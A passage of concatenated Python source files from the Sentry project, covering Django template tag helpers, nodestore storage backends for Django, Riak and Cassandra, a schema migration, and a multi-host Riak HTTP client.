
    return ''


@register.filter
def get_plugins(project):
    results = []
    for plugin in plugins.for_project(project, version=None):
        if plugin.has_project_conf():
            results.append(plugin)
    return results


@register.filter
def get_plugins_with_status(project):
    return [
        (plugin, safe_execute(plugin.is_enabled, project, _with_transaction=False))
        for plugin in plugins.configurable_for_project(project, version=None)
    ]






"""
sentry.templatetags
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import, print_function

from django.conf import settings
from django import template

register = template.Library()


@register.filter
def auth_provider_label(provider):
    return settings.AUTH_PROVIDER_LABELS[provider]






"""
sentry.templatetags.sentry_helpers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import functools
import os.path
import pytz
import six

from collections import namedtuple
from datetime import timedelta
from pkg_resources import parse_version as Version
from six.moves import range
from six.moves.urllib.parse import quote, urlencode

from django import template
from django.conf import settings
from django.core.urlresolvers import reverse
from django.template.defaultfilters import stringfilter
from django.utils import timezone
from django.utils.html import escape
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext as _

from sentry import options
from sentry.api.serializers import serialize as serialize_func
from sentry.models import UserAvatar, Organization
from sentry.utils import json
from sentry.utils.strings import to_unicode
from sentry.utils.avatar import (
    get_gravatar_url,
    get_email_avatar,
    get_letter_avatar
)
from sentry.utils.javascript import to_json
from sentry.utils.strings import (
    soft_break as _soft_break,
    soft_hyphenate,
    truncatechars,
)
from templatetag_sugar.register import tag
from templatetag_sugar.parser import Name, Variable, Constant, Optional

SentryVersion = namedtuple('SentryVersion', [
    'current', 'latest', 'update_available', 'build',
])


register = template.Library()

truncatechars = register.filter(stringfilter(truncatechars))
truncatechars.is_safe = True

register.filter(to_json)


@register.filter
def multiply(x, y):
    def coerce(value):
        if isinstance(value, (int, long, float)):
            return value
        try:
            return int(value)
        except ValueError:
            return float(value)
    return coerce(x) * coerce(y)


@register.simple_tag
def absolute_uri(path='', *args):
    from sentry.utils.http import absolute_uri
    return absolute_uri(path.format(*args))


@register.filter
def pprint(value, break_after=10):
    """
    break_after is used to define how often a <span> is
    inserted (for soft wrapping).
    """

    value = to_unicode(value)
    return mark_safe(u'<span></span>'.join(
        [escape(value[i:(i + break_after)]) for i in range(0, len(value), break_after)]
    ))


@register.filter
def is_url(value):
    if not isinstance(value, six.string_types):
        return False
    if not value.startswith(('http://', 'https://')):
        return False
    if ' ' in value:
        return False
    return True


# seriously Django?
@register.filter
def subtract(value, amount):
    return int(value) - int(amount)


@register.filter
def absolute_value(value):
    return abs(int(value) if isinstance(value, (int, long)) else float(value))


@register.filter
def has_charts(group):
    from sentry.utils.db import has_charts
    if hasattr(group, '_state'):
        db = group._state.db or 'default'
    else:
        db = 'default'
    return has_charts(db)


@register.filter
def as_sorted(value):
    return sorted(value)


@register.filter
def small_count(v, precision=1):
    if not v:
        return 0
    z = [
        (1000000000, _('b')),
        (1000000, _('m')),
        (1000, _('k')),
    ]
    v = int(v)
    for x, y in z:
        o, p = divmod(v, x)
        if o:
            if len(six.text_type(o)) > 2 or not p:
                return '%d%s' % (o, y)
            return ('%.{}f%s'.format(precision)) % (v / float(x), y)
    return v


@register.filter
def num_digits(value):
    return len(six.text_type(value))


@register.filter
def to_str(data):
    return six.text_type(data)


@register.filter
def is_none(value):
    return value is None


@register.simple_tag(takes_context=True)
def serialize(context, value):
    value = serialize_func(value, context['request'].user)
    return json.dumps_htmlsafe(value)


@register.simple_tag(takes_context=True)
def get_sentry_version(context):
    import sentry
    current = sentry.VERSION

    latest = options.get('sentry:latest_version') or current
    update_available = Version(latest) > Version(current)
    build = sentry.__build__ or current

    context['sentry_version'] = SentryVersion(
        current, latest, update_available, build
    )
    return ''


@register.filter
def timesince(value, now=None):
    from django.template.defaultfilters import timesince
    if now is None:
        now = timezone.now()
    if not value:
        return _('never')
    if value < (now - timedelta(days=5)):
        return value.date()
    value = (' '.join(timesince(value, now).split(' ')[0:2])).strip(',')
    if value == _('0 minutes'):
        return _('just now')
    if value == _('1 day'):
        return _('yesterday')
    return value + _(' ago')


@register.filter
def duration(value):
    if not value:
        return '0s'
    # value is assumed to be in ms
    value = value / 1000.0
    hours, minutes, seconds = 0, 0, 0
    if value > 3600:
        hours = value / 3600
        value = value % 3600
    if value > 60:
        minutes = value / 60
        value = value % 60
    seconds = value
    output = []
    if hours:
        output.append('%dh' % hours)
    if minutes:
        output.append('%dm' % minutes)
    if seconds > 1:
        output.append('%0.2fs' % seconds)
    elif seconds:
        output.append('%dms' % (seconds * 1000))
    return ''.join(output)


@register.filter
def date(dt, arg=None):
    from django.template.defaultfilters import date
    if not timezone.is_aware(dt):
        dt = dt.replace(tzinfo=timezone.utc)
    return date(dt, arg)


@tag(register, [Constant('for'), Variable('user'),
                Constant('from'), Variable('project'),
                Constant('as'), Name('asvar')])
def get_project_dsn(context, user, project, asvar):
    from sentry.models import ProjectKey

    if not user.is_authenticated():
        context[asvar] = None
        return ''

    try:
        key = ProjectKey.objects.filter(project=project)[0]
    except ProjectKey.DoesNotExist:
        context[asvar] = None
    else:
        context[asvar] = key.get_dsn()

    return ''


# Adapted from http://en.gravatar.com/site/implement/images/django/
# The "mm" default is for the grey, "mystery man" icon. See:
#   http://en.gravatar.com/site/implement/images/
@tag(register, [Variable('email'),
                Optional([Constant('size'), Variable('size')]),
                Optional([Constant('default'), Variable('default')])])
def gravatar_url(context, email, size=None, default='mm'):
    return get_gravatar_url(email, size, default)


@tag(register, [Variable('display_name'),
                Variable('identifier'),
                Optional([Constant('size'), Variable('size')])])
def letter_avatar_svg(context, display_name, identifier, size=None):
    return get_letter_avatar(display_name, identifier, size=size)


@tag(register, [Variable('user_id'),
                Optional([Constant('size'), Variable('size')])])
def profile_photo_url(context, user_id, size=None):
    try:
        avatar = UserAvatar.objects.get(user__id=user_id)
    except UserAvatar.DoesNotExist:
        return
    url = reverse('sentry-user-avatar-url', args=[avatar.ident])
    if size:
        url += '?' + urlencode({'s': size})
    return settings.SENTRY_URL_PREFIX + url


# Don't use this in any situations where you're rendering more
# than 1-2 avatars. It will make a request for every user!
@tag(register, [Variable('display_name'),
                Variable('identifier'),
                Optional([Constant('size'), Variable('size')]),
                Optional([Constant('try_gravatar'), Variable('try_gravatar')])])
def email_avatar(context, display_name, identifier, size=None, try_gravatar=True):
    return get_email_avatar(display_name, identifier, size, try_gravatar)


@register.filter
def trim_schema(value):
    return value.split('//', 1)[-1]


@register.filter
def with_metadata(group_list, request):
    group_list = list(group_list)
    if request.user.is_authenticated() and group_list:
        project = group_list[0].project
        bookmarks = set(project.bookmark_set.filter(
            user=request.user,
            group__in=group_list,
        ).values_list('group_id', flat=True))
    else:
        bookmarks = set()

    # TODO(dcramer): this is obsolete and needs to pull from the tsdb backend
    historical_data = {}

    for g in group_list:
        yield g, {
            'is_bookmarked': g.pk in bookmarks,
            'historical_data': ','.join(six.text_type(x[1]) for x in historical_data.get(g.id, [])),
        }


@register.simple_tag
def percent(value, total):
    if not (value and total):
        return 0
    return int(int(value) / float(total) * 100)


@register.filter
def titlize(value):
    return value.replace('_', ' ').title()


@register.filter
def split(value, delim=''):
    return value.split(delim)


@register.inclusion_tag('sentry/partial/github_button.html')
def github_button(user, repo):
    return {
        'user': user,
        'repo': repo,
    }


@register.filter
def urlquote(value, safe=''):
    return quote(value.encode('utf8'), safe)


@register.filter
def basename(value):
    return os.path.basename(value)


@register.filter
def user_display_name(user):
    return user.name or user.username


@register.simple_tag(takes_context=True)
def localized_datetime(context, dt, format='DATETIME_FORMAT'):
    request = context['request']
    timezone = getattr(request, 'timezone', None)
    if not timezone:
        timezone = pytz.timezone(settings.SENTRY_DEFAULT_TIME_ZONE)

    dt = dt.astimezone(timezone)

    return date(dt, format)


@register.filter
def list_organizations(user):
    return Organization.objects.get_for_user(user)


@register.filter
def count_pending_access_requests(organization):
    from sentry.models import OrganizationAccessRequest

    return OrganizationAccessRequest.objects.filter(
        team__organization=organization,
    ).count()


@register.filter
def format_userinfo(user):
    parts = user.username.split('@')
    if len(parts) == 1:
        username = user.username
    else:
        username = parts[0].lower()
    return mark_safe('<span title="%s">%s</span>' % (
        escape(user.username),
        escape(username),
    ))


@register.inclusion_tag('sentry/includes/captcha.html')
def load_captcha():
    return {
        'api_key': settings.RECAPTCHA_PUBLIC_KEY,
    }


@register.filter
def soft_break(value, length):
    return _soft_break(
        value,
        length,
        functools.partial(soft_hyphenate, length=max(length // 10, 10)),
    )






from __future__ import absolute_import

from django.conf import settings
from django.template import Library

from sentry import options
from sentry.utils.assets import get_asset_url
from sentry.utils.http import absolute_uri

register = Library()


register.simple_tag(get_asset_url, name='asset_url')


@register.simple_tag
def absolute_asset_url(module, path):
    """
    Returns a versioned absolute asset URL (located within Sentry's static files).

    Example:
      {% absolute_asset_url 'sentry' 'dist/sentry.css' %}
      =>  "http://sentry.example.com/_static/74d127b78dc7daf2c51f/sentry/dist/sentry.css"
    """
    return absolute_uri(get_asset_url(module, path))


@register.simple_tag
def crossorigin():
    """
    Returns an additional crossorigin="anonymous" snippet for use in a <script> tag if
    our asset urls are from a different domain than the system.url-prefix.
    """
    if absolute_uri(settings.STATIC_URL).startswith(options.get('system.url-prefix')):
        # They share the same domain prefix, so we don't need CORS
        return ''
    return ' crossorigin="anonymous"'


@register.simple_tag(takes_context=True)
def locale_js_include(context):
    """
    If the user has a non-English locale set, returns a <script> tag pointing
    to the relevant locale JavaScript file
    """
    request = context['request']

    try:
        lang_code = request.LANGUAGE_CODE
    except AttributeError:
        # it's possible that request at this point, LANGUAGE_CODE hasn't be bound
        # to the Request object yet. This specifically happens when rendering our own
        # 500 error page, resulting in yet another error trying to render our error.
        return ''

    if lang_code == 'en' or lang_code not in settings.SUPPORTED_LANGUAGES:
        return ''

    href = get_asset_url("sentry", "dist/locale/" + lang_code + ".js")
    return "<script src=\"{0}\"{1}></script>".format(href, crossorigin())






from __future__ import absolute_import, print_function

import itertools

from django import template

from sentry import status_checks

register = template.Library()


@register.inclusion_tag('sentry/partial/system-status.html', takes_context=True)
def show_system_status(context):
    problems = list(itertools.chain.from_iterable(status_checks.check_all().values()))

    return {
        'problems': problems,
    }






"""
sentry.templatetags.sentry_activity
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import logging

from django import template
from django.utils.html import escape, urlize, linebreaks
from django.utils.safestring import mark_safe

from sentry.models import Activity, User
from sentry.templatetags.sentry_helpers import timesince
from sentry.utils.avatar import get_gravatar_url

register = template.Library()


ACTIVITY_ACTION_STRINGS = {
    Activity.NOTE: 'left a note',
    Activity.SET_RESOLVED: 'marked this event as resolved',
    Activity.SET_UNRESOLVED: 'marked this event as unresolved',
    Activity.SET_MUTED: 'marked this event as muted',
    Activity.SET_PUBLIC: 'made this event public',
    Activity.SET_PRIVATE: 'made this event private',
    Activity.SET_REGRESSION: 'marked this event as a regression',
    Activity.CREATE_ISSUE: u'created an issue on {provider:s} titled <a href="{location:s}">{title:s}</a>',
    Activity.FIRST_SEEN: 'first saw this event',
    Activity.ASSIGNED: 'assigned this event to {user:s}',
    Activity.UNASSIGNED: 'unassigned this event',
    Activity.RELEASE: 'saw a new release: {version:s}',
}


@register.filter
def render_activity(item):
    if not item.group:
        # not implemented
        return

    try:
        action_str = ACTIVITY_ACTION_STRINGS[item.type]
    except KeyError:
        logging.warning('Unknown activity type present: %s', item.type)
        return

    if item.type == Activity.CREATE_ISSUE:
        action_str = action_str.format(**item.data)
    elif item.type == Activity.ASSIGNED:
        if item.data['assignee'] == item.user_id:
            assignee_name = 'themselves'
        else:
            try:
                assignee = User.objects.get(id=item.data['assignee'])
            except User.DoesNotExist:
                assignee_name = 'unknown'
            else:
                assignee_name = assignee.get_display_name()
        action_str = action_str.format(user=assignee_name)

    output = ''

    if item.user:
        user = item.user
        name = user.name or user.email
        output += '<span class="avatar"><img src="%s"></span> ' % (get_gravatar_url(user.email, size=20),)
        output += '<strong>%s</strong> %s' % (escape(name), action_str)
    else:
        output += '<span class="avatar sentry"></span> '
        output += 'The system %s' % (action_str,)

    output += ' <span class="sep">&mdash;</span> <span class="time">%s</span>' % (timesince(item.datetime),)

    if item.type == Activity.NOTE:
        output += linebreaks(urlize(escape(item.data['text'])))

    return mark_safe(output)






"""
sentry.nodestore.models
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

# HACK(dcramer): Django doesn't play well with our naming schemes, and we prefer
# our methods ways over Django's limited scoping
from .django.models import *  # NOQA






"""
sentry.nodestore.base
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six

from base64 import b64encode
from threading import local
from uuid import uuid4


class NodeStorage(local):
    def validate(self):
        """
        Validates the settings for this backend (i.e. such as proper connection
        info).

        Raise ``InvalidConfiguration`` if there is a configuration error.
        """

    def create(self, data):
        """
        >>> key = nodestore.create({'foo': 'bar'})
        """
        node_id = self.generate_id()
        self.set(node_id, data)
        return node_id

    def delete(self, id):
        """
        >>> nodestore.delete('key1')
        """
        raise NotImplementedError

    def delete_multi(self, id_list):
        """
        Delete multiple nodes.

        Note: This is not guaranteed to be atomic and may result in a partial
        delete.

        >>> delete_multi(['key1', 'key2'])
        """
        for id in id_list:
            self.delete(id)

    def get(self, id):
        """
        >>> data = nodestore.get('key1')
        >>> print data
        """
        raise NotImplementedError

    def get_multi(self, id_list):
        """
        >>> data_map = nodestore.get_multi(['key1', 'key2')
        >>> print 'key1', data_map['key1']
        >>> print 'key2', data_map['key2']
        """
        return dict(
            (id, self.get(id))
            for id in id_list
        )

    def set(self, id, data):
        """
        >>> nodestore.set('key1', {'foo': 'bar'})
        """
        raise NotImplementedError

    def set_multi(self, values):
        """
        >>> nodestore.set_multi({
        >>>     'key1': {'foo': 'bar'},
        >>>     'key2': {'foo': 'baz'},
        >>> })
        """
        for id, data in six.iteritems(values):
            self.set(id=id, data=data)

    def generate_id(self):
        return b64encode(uuid4().bytes)

    def cleanup(self, cutoff_timestamp):
        raise NotImplementedError






"""
sentry.nodestore
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import






"""
sentry.nodestore.multi.backend
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import random

import six

from sentry.nodestore.base import NodeStorage
from sentry.utils.imports import import_string


class MultiNodeStorage(NodeStorage):
    """
    A backend which will write to multiple backends, and read from a random
    choice.

    This is not intended for consistency, but is instead designed to allow you
    to dual-write for purposes of migrations.

    >>> MultiNodeStorage(backends=[
    >>>     ('sentry.nodestore.django.backend.DjangoNodeStorage', {}),
    >>>     ('sentry.nodestore.riak.backend.RiakNodeStorage', {}),
    >>> ], read_selector=lambda backends: backends[0])
    """
    def __init__(self, backends, read_selector=random.choice, **kwargs):
        assert backends, "you should provide at least one backend"

        self.backends = []
        for backend, backend_options in backends:
            if isinstance(backend, six.string_types):
                backend = import_string(backend)
            self.backends.append(backend(**backend_options))
        self.read_selector = read_selector
        super(MultiNodeStorage, self).__init__(**kwargs)

    def get(self, id):
        # just fetch it from a random backend, we're not aiming for consistency
        backend = self.read_selector(self.backends)
        return backend.get(id)

    def get_multi(self, id_list):
        backend = self.read_selector(self.backends)
        return backend.get_multi(id_list=id_list)

    def set(self, id, data):
        should_raise = False
        for backend in self.backends:
            try:
                backend.set(id, data)
            except Exception:
                should_raise = True

        if should_raise:
            raise

    def set_multi(self, values):
        should_raise = False
        for backend in self.backends:
            try:
                backend.set_multi(values)
            except Exception:
                should_raise = True

        if should_raise:
            raise

    def delete(self, id):
        should_raise = False
        for backend in self.backends:
            try:
                backend.delete(id)
            except Exception:
                should_raise = True

        if should_raise:
            raise

    def cleanup(self, cutoff_timestamp):
        should_raise = False
        for backend in self.backends:
            try:
                backend.cleanup(cutoff_timestamp)
            except Exception:
                should_raise = True

        if should_raise:
            raise






"""
sentry.nodestore.multi
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .backend import *  # NOQA






# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models


class Migration(SchemaMigration):

    def forwards(self, orm):
        # Adding model 'Node'
        db.create_table(u'nodestore_node', (
            ('id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40, primary_key=True)),
            ('data', self.gf('sentry.db.models.fields.gzippeddict.GzippedDictField')()),
            ('timestamp', self.gf('django.db.models.fields.DateTimeField')(default=datetime.datetime.now, db_index=True)),
        ))
        db.send_create_signal('nodestore', ['Node'])


    def backwards(self, orm):
        # Deleting model 'Node'
        db.delete_table(u'nodestore_node')


    models = {
        'nodestore.node': {
            'Meta': {'object_name': 'Node'},
            'data': ('sentry.db.models.fields.gzippeddict.GzippedDictField', [], {}),
            'id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40', 'primary_key': 'True'}),
            'timestamp': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now', 'db_index': 'True'})
        }
    }

    complete_apps = ['nodestore']












"""
sentry.nodestore.riak.backend
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six

from simplejson import JSONEncoder, _default_decoder

from sentry.nodestore.base import NodeStorage
from .client import RiakClient


# Cache an instance of the encoder we want to use
json_dumps = JSONEncoder(
    separators=(',', ':'),
    skipkeys=False,
    ensure_ascii=True,
    check_circular=True,
    allow_nan=True,
    indent=None,
    encoding='utf-8',
    default=None,
).encode

json_loads = _default_decoder.decode


class RiakNodeStorage(NodeStorage):
    """
    A Riak-based backend for storing node data.

    >>> RiakNodeStorage(nodes=[{'host':'127.0.0.1','port':8098}])
    """
    def __init__(self, nodes, bucket='nodes', timeout=1, cooldown=5,
                 max_retries=3, multiget_pool_size=5, tcp_keepalive=True,
                 protocol=None):
        # protocol being defined is useless, but is needed for backwards
        # compatability and leveraged as an opportunity to yell at the user
        if protocol == 'pbc':
            raise ValueError("'pbc' protocol is no longer supported")
        if protocol is not None:
            import warnings
            warnings.warn("'protocol' has been deprecated",
                          DeprecationWarning)
        self.bucket = bucket
        self.conn = RiakClient(
            hosts=nodes,
            max_retries=max_retries,
            multiget_pool_size=multiget_pool_size,
            cooldown=cooldown,
            tcp_keepalive=tcp_keepalive,
        )

    def set(self, id, data):
        self.conn.put(self.bucket, id, json_dumps(data),
                      returnbody='false')

    def delete(self, id):
        self.conn.delete(self.bucket, id)

    def get(self, id):
        rv = self.conn.get(self.bucket, id, r=1)
        if rv.status != 200:
            return None
        return json_loads(rv.data)

    def get_multi(self, id_list):
        # shortcut for just one id since this is a common
        # case for us from EventManager.bind_nodes
        if len(id_list) == 1:
            id = id_list[0]
            return {id: self.get(id)}

        rv = self.conn.multiget(self.bucket, id_list, r=1)
        results = {}
        for key, value in six.iteritems(rv):
            if isinstance(value, Exception):
                six.reraise(type(value), value)
            if value.status != 200:
                results[key] = None
            else:
                results[key] = json_loads(value.data)
        return results

    def cleanup(self, cutoff_timestamp):
        # TODO(dcramer): we should either index timestamps or have this run
        # a map/reduce (probably the latter)
        raise NotImplementedError






"""
sentry.nodestore.riak.client
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six
import sys
import socket
from random import shuffle
from six.moves.queue import Queue
from time import time
from threading import Lock, Thread, Event

# utilize the ca_certs path from requests since we already depend on it
# and they bundle a ca cert.
from requests.certs import where as ca_certs
from six.moves.urllib.parse import urlencode, quote_plus
from urllib3 import HTTPConnectionPool, HTTPSConnectionPool
from urllib3.connection import HTTPConnection
from urllib3.exceptions import HTTPError


DEFAULT_NODES = (
    {'host': '127.0.0.1', 'port': 8098},
)


class RiakClient(object):
    """
    A thread-safe simple light-weight riak client that does only
    the bare minimum.
    """
    def __init__(self, multiget_pool_size=5, **kwargs):
        self.manager = ConnectionManager(**kwargs)
        self.queue = Queue()

        # TODO: maybe start this lazily? Probably not valuable though
        # since we definitely will need it.
        self._start(multiget_pool_size)

    def _start(self, size):
        assert size > 0
        for _ in range(size):
            t = Thread(target=self._target)
            t.setDaemon(True)
            t.start()

    def _target(self):
        q = self.queue
        while True:
            func, args, kwargs, cb = q.get()
            try:
                rv = func(*args, **kwargs)
            except Exception as e:
                rv = e
            finally:
                cb(rv)
                q.task_done()

    def build_url(self, bucket, key, qs):
        url = '/buckets/%s/keys/%s' % tuple(map(quote_plus, (bucket, key)))
        if qs:
            url += '?' + urlencode(qs)
        return url

    def put(self, bucket, key, data, headers=None, **kwargs):
        if headers is None:
            headers = {}
        headers['content-type'] = 'application/json'

        return self.manager.urlopen(
            'PUT', self.build_url(bucket, key, kwargs),
            headers=headers,
            body=data,
        )

    def delete(self, bucket, key, headers=None, **kwargs):
        return self.manager.urlopen(
            'DELETE', self.build_url(bucket, key, kwargs),
            headers=headers,
        )

    def get(self, bucket, key, headers=None, **kwargs):
        return self.manager.urlopen(
            'GET', self.build_url(bucket, key, kwargs),
            headers=headers,
        )

    def multiget(self, bucket, keys, headers=None, **kwargs):
        """
        Thread-safe multiget implementation that shares the same thread pool
        for all requests.
        """
        # Each request is paired with a thread.Event to signal when it is finished
        requests = [
            (key, self.build_url(bucket, key, {'foo': 'bar'}), Event())
            for key in keys
        ]

        results = {}
        for key, url, event in requests:
            def callback(rv, key=key, event=event):
                results[key] = rv
                # Signal that this request is finished
                event.set()

            self.queue.put((
                self.manager.urlopen,  # func
                ('GET', url),  # args
                {'headers': headers},  # kwargs
                callback,  # callback
            ))

        # Now we wait for all of the callbacks to be finished
        for _, _, event in requests:
            event.wait()

        return results

    def close(self):
        self.manager.close()


class RoundRobinStrategy(object):
    def __init__(self):
        self.i = -1

    def next(self, connections):
        self.i += 1
        return connections[self.i % len(connections)]


class ConnectionManager(object):
    """
    A thread-safe multi-host http connection manager.
    """
    def __init__(self, hosts=DEFAULT_NODES, strategy=RoundRobinStrategy, randomize=True,
                 timeout=3, cooldown=5, max_retries=None, tcp_keepalive=True):
        assert hosts
        self.strategy = strategy()
        self.dead_connections = []
        self.timeout = timeout
        self.cooldown = cooldown
        self.tcp_keepalive = tcp_keepalive

        # Default max_retries to number of hosts
        if max_retries is None:
            self.max_retries = len(hosts)
        else:
            self.max_retries = max_retries

        self.connections = map(self.create_pool, hosts)
        # Shuffle up the order to prevent stampeding the same hosts
        if randomize:
            shuffle(self.connections)

        # Lock needed when mutating the alive/dead list of connections
        self._lock = Lock()

    def create_pool(self, host):
        """
        Create a new HTTP(S)ConnectionPool for a (host, port) tuple
        """
        options = {
            'timeout': self.timeout,
            'strict': True,
            'retries': 2,
            # Max of 5 connections open per host
            # this is arbitrary. The # of connections can burst
            # above 5 if needed becuase we're also setting
            # block=False
            'maxsize': 5,
            'block': False,
        }
        if self.tcp_keepalive:
            options['socket_options'] = HTTPConnection.default_socket_options + [
                (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1),
            ]

        # Support backwards compatibility with `http_port`
        if 'http_port' in host:
            import warnings
            warnings.warn("'http_port' has been deprecated. Use 'port'.",
                          DeprecationWarning)
            host['port'] = host.pop('http_port')

        addr = host.get('host', '127.0.0.1')
        port = int(host.get('port', 8098))
        secure = host.get('secure', False)
        if not secure:
            connection_cls = HTTPConnectionPool
        else:
            connection_cls = HTTPSConnectionPool
            verify_ssl = host.get('verify_ssl', False)
            if verify_ssl:
                options.extend({
                    'cert_reqs': host.get('cert_reqs', 'CERT_REQUIRED'),
                    'ca_certs': host.get('ca_certs', ca_certs())
                })
        return connection_cls(addr, port, **options)

    def urlopen(self, method, path, **kwargs):
        """
        Make a request using the next server according to the connection
        strategy, and retries up to max_retries attempts. Ultimately,
        if the request still failed, we reraise the HTTPError from
        urllib3. If at the start of the request, there are no known
        available hosts, we revive all dead connections and forcefully
        attempt to reconnect.
        """

        # We don't need strict host checking since our client is enforcing
        # the correct behavior anyways
        kwargs.setdefault('assert_same_host', False)

        # Keep track of the last exception, so we can raise it if needed
        last_error = None

        try:
            for _ in range(self.max_retries + 1):
                # If we're trying to initiate a new connection, and
                # all connections are already dead, then we should flail
                # and attempt to connect to one of them
                if len(self.connections) == 0:
                    self.force_revive()

                conn = self.strategy.next(self.connections)  # NOQA
                try:
                    return conn.urlopen(method, path, **kwargs)
                except HTTPError:
                    self.mark_dead(conn)
                    last_error = sys.exc_info()

            # We've exhausted the retries, and we still have
            # all errors, so re-raise the last known error
            if last_error is not None:
                six.reraise(*last_error)
        finally:
            self.cleanup_dead()

    def mark_dead(self, conn):
        """
        Mark a connection as dead.
        """
        timeout = time() + self.cooldown
        with self._lock:
            self.dead_connections.append((conn, timeout))
            self.connections.remove(conn)

    def force_revive(self):
        """
        Forcefully revive all dead connections
        """
        with self._lock:
            for conn, _ in self.dead_connections:
                self.connections.append(conn)
            self.dead_connections = []

    def cleanup_dead(self):
        """
        Check dead connections and see if any timeouts have expired
        """
        if not self.dead_connections:
            return

        now = time()
        for conn, timeout in self.dead_connections[:]:
            if timeout > now:
                # Can exit fast here on the first non-expired
                # since dead_connections is ordered
                return

            # timeout has expired, so move from dead to alive pool
            with self._lock:
                self.connections.append(conn)
                self.dead_connections.remove((conn, timeout))

    def close(self):
        """
        Close all connections to all servers
        """
        self.force_revive()

        for conn in self.connections:
            conn.close()






"""
sentry.nodestore.riak
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from .backend import *  # NOQA






"""
sentry.nodestore.cassandra.backend
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import casscache

from sentry.nodestore.base import NodeStorage
from sentry.utils.cache import memoize


class CassandraNodeStorage(NodeStorage):
    """
    A Cassandra-based backend for storing node data.

    >>> CassandraNodeStorage(
    ...     servers=['127.0.0.1:9042'],
    ...     keyspace='sentry',
    ...     columnfamily='nodestore',
    ... )
    """
    def __init__(self, servers, keyspace='sentry',
                 columnfamily='nodestore', **kwargs):
        self.servers = servers
        self.keyspace = keyspace
        self.columnfamily = columnfamily
        self.options = kwargs
        super(CassandraNodeStorage, self).__init__()

    @memoize
    def connection(self):
        return casscache.Client(
            servers=self.servers,
            keyspace=self.keyspace,
            columnfamily=self.columnfamily,
            **self.options
        )

    def delete(self, id):
        self.connection.delete(id)

    def get(self, id):
        return self.connection.get(id)

    def get_multi(self, id_list):
        return self.connection.get_multi(id_list)

    def set(self, id, data):
        self.connection.set(id, data)






"""
sentry.nodestore.cassandra
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from .backend import *  # NOQA






"""
sentry.nodestore.django.backend
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import math

from django.utils import timezone

from sentry.db.models import create_or_update
from sentry.nodestore.base import NodeStorage


from .models import Node


class DjangoNodeStorage(NodeStorage):
    def delete(self, id):
        Node.objects.filter(id=id).delete()

    def get(self, id):
        try:
            return Node.objects.get(id=id).data
        except Node.DoesNotExist:
            return None

    def get_multi(self, id_list):
        return {
            n.id: n.data
            for n in Node.objects.filter(id__in=id_list)
        }

    def delete_multi(self, id_list):
        Node.objects.filter(id__in=id_list).delete()

    def set(self, id, data):
        create_or_update(
            Node,
            id=id,
            values={
                'data': data,
                'timestamp': timezone.now(),
            },
        )

    def cleanup(self, cutoff_timestamp):
        from sentry.db.deletion import BulkDeleteQuery

        total_seconds = (timezone.now() - cutoff_timestamp).total_seconds()
        days = math.floor(total_seconds / 86400)

        BulkDeleteQuery(
            model=Node,
            dtfield='timestamp',
            days=days,
        ).execute()






"""
sentry.nodestore.django.models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    BaseModel, GzippedDictField, sane_repr)


class Node(BaseModel):
    __core__ = False

    id = models.CharField(max_length=40, primary_key=True)
    # TODO(dcramer): this being pickle and not JSON has the ability to cause
    # hard errors as it accepts other serialization than native JSON
    data = GzippedDictField()
    timestamp = models.DateTimeField(default=timezone.now, db_index=True)

    __repr__ = sane_repr('timestamp')

    class Meta:
        app_label = 'nodestore'






"""
sentry.nodestore.django
~~~~~~~~~~~~~~~~~~~~~~~

